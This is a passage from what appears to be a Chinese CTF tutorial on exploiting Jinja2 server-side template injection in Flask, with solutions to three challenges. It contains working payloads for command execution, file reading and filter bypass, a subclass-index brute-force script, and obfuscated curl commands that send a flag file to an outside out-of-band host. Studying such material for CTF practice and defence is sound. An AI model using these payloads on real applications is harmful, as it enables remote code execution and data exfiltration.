{% set chr=x.chr%}{% set cmd=(chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~chr(47)~chr(47)~chr(96)~chr(99)~chr(97)~chr(116)~chr(32)~chr(47)~chr(102)~chr(108)~chr(97)~chr(103)~chr(96)~chr(46)~chr(117)~chr(107)~chr(105)~chr(52)~chr(121)~chr(57)~chr(46)~chr(99)~chr(101)~chr(121)~chr(101)~chr(46)~chr(105)~chr(111)~chr(39)~chr(41)
)%}{%if x.eval(cmd)%}aaa{%endif%}
​
q.__init__.__globals__.__getitem__('__builtins__').eval("__import__('os').popen('curl http://`cat /flag`.eekough.ceye.io')")

說了這麼多的繞過形式,接着結合題目總結下常見的利用思路。

利用思路

無過濾的情況

①隨便找一個內置類對象用class拿到它所對應的類②用bases拿到基類(<class 'object'>)③用subclasses()拿到子類列表④在子類列表中直接尋找可以利用的類getshell

綜上,基本思路爲:

對象→類→基本類→子類→(init方法→globals屬性→builtins屬性)→讀取文件的類

其中,()內的步驟有些時候不需要用到,所以加個括號表示可去。例如無過濾的情況下file類讀取文件時:

{{[].__class__.__base__.__subclasses__()[40]('flag').read()}} 

接着用代碼演示圖過一遍思路:

先找到一個類型所屬的對象,在找到這個對象所繼承的基類,接着找到子類。

image-20230326163227115

假設我們需要用到的就是OS模塊來命令執行,找到OS類了並將這個類初始化成方法,相當於我們調用了OS模塊,然後通過globals保存對全局變量的引用,最後使用os模板進行命令執行讀取文件。

image-20230326163238599

到最後還要使用read()方法讀取,是因爲前面返回的結果爲地址,如圖所示:

image-20230326164240633

所以還需要用read()讀取一下。

如有過濾的話,其實追究其根本,還是要按照上面的那些步驟進行利用,只不過題目過濾了什麼就用對應的方法繞過即可。

實戰

[CSCCTF 2019 Qual]FlaskLight

這是一道沒有任何過濾的題目,難度較小。首先是一成不變的步驟,嘗試輸入{{ 4*5 }}看看有沒有回顯20,發現存在SSTI注入:

image-20230326174237925

接着利用{{''.__class__.__mro__[2].__subclasses__()}} 可爆出所有類,通過ctrl+f搜索也能找到利用類,但是不知道下標具體是多少無法加以利用。

image-20230326175420261

這裏附上網上的腳本尋找利用類及下標:

import requests
import re
import html
import time
​
index = 0
for i in range(170, 1000):
    try:
        url = "http://a5fdb958-6cbb-476a-a8e6-94d4abec1832.node4.buuoj.cn:81/?search={{''.__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"
        r = requests.get(url)
        res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
        time.sleep(0.1)
        # print(res)
        # print(r.text)
        res = html.unescape(res[0])
        print(str(i) + " | " + res)
        if "subprocess.Popen" in res:
            index = i
            break
    except:
        continue
print("indexo of subprocess.Popen:" + str(index))
​

得到利用類的下標爲258:

image-20230326174801022

接着就可以開始構造拿flag了。

?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}} ---(省去了ls查找目錄)

成功拿到flag:

image-20230326175018669

再來看一道過濾了關鍵字的題目,使用上面提到的方法進行構造且分析思路。

#

[GYCTF2020]FlaskApp

這道題過濾了os、flag、chr、popen、eval、request等常用關鍵字,需要進行繞過。

首先打開題目發現是一個用flask寫的一個base64加解密應用。有一個加密頁面和解密頁面,思路應該是在加密頁面輸入payload進行加密,加密結果在解密頁面進行解密,輸出解密後的payload被渲染到頁面輸出後執行了payload,使其報錯發現有個源文件app.py及加解密原理。有個模板渲染,然而SSTI注入的原因正是由於render_template_string的不正確的使用以及沒有對用戶輸入的數據進行有效的過濾導致的。

image-20230326231714077

獲取源碼

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

image-20230326233049097

利用上面提到的使用+拼接字符串繞過os、import等被過濾關鍵字以便找目錄與執行命令。構造如下:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

image-20230326233634450

拿到文件,接着讀取,注意flag要使用拼接:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

成功拿到flag:

image-20230326233755801

再來看一道過濾字符的題目,以便測試利用上述繞過各種字符的方法。

#

[Dest0g3 520迎新賽]EasySSTI

根據題目名稱提示,這題考察SSTI,進入題目是一個登錄框,點擊登錄可以回顯用戶名,發現在username處有jinja2模板引擎的SSTI漏洞:

image-20230327110414442

經過Fuzz,發現過濾了_.'"[]等字符,還有各種class、request、eval等關鍵字以及空格。

最終還是要達到實現{{lipsum.__globals__['os'].popen('ls').read()}}進行命令執行的目的,其他字符可以使用過濾器和join拼接字符達到繞過,空格的話使用%0a換行符繞過。

{%set%0apo=dict(po=a,p=a)|join()%}                        #pop
​
{%set%0aa=(()|select|string|list)|attr(po)(24)%}          #_
​
{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}  #globals
​
{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%} #getitem
​
{%set%0ape=dict(po=aaa,pen=aaa)|join()%}                  #popen
​
{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}               #read
​
dict(o=a,s=a)|join()                #獲取 os
​
(config|string|list)|attr(po)(279)  #獲取  /
​
{{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(dict(l=a,s=a)|join())|attr(re)()}}
​
等價於:
{{lipsum.__globals__['os'].popen('ls').read()}}

先使用ls查看有哪些文件,構造如下

{%set%0apo=dict(po=a,p=a)|join()%}{%set%0aa=(()|select|string|list)|attr(po)(24)%}{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}{%set%0ape=dict(po=aaa,pen=aaa)|join()%}{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}{{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(dict(l=a,s=a)|join())|attr(re)()}}

image-20230327113728062

((()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(18),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279))|join()

使用()|select|string|list獲取flag的具體位置:

((()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(18),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279))|join()

接着將命令修改爲cat /flag

最終構造如下:

{%set%0apo=dict(po=a,p=a)|join()%}{%set%0aa=(()|select|string|list)|attr(po)(24)%}{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}{%set%0ape=dict(po=aaa,pen=aaa)|join()%}{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}{{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(((()|select|string|list)|attr(po)(15),(()|select|string|list)|attr(po)(6),(()|select|string|list)|attr(po)(16),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279),(()|select|string|list)|attr(po)(41),(()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(6),(()|select|string|list)|attr(po)(1))|join())|attr(re)()}}

成功拿到flag:

image-20230327114401744

總結

對於ssti注入,其實掌握基本的常用的方法,按照常規的思路進行構造,有哪些被過濾的就用相應的方法進行繞過,按照模板走大多數題目都能解出來,但是最重要的還是自己動手嘗試構造,體會其中的原理,因爲還要考慮題目解釋器版本不同、類方法所在索引不同,構造出來的語句也不一樣。對於python裏的jinja2 ssti注入就分析到這裏,後續還會總結java、php中常用模板的ssti注入,下回見。

更多靶場實驗練習、網安學習資料,請點擊這裏>>

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章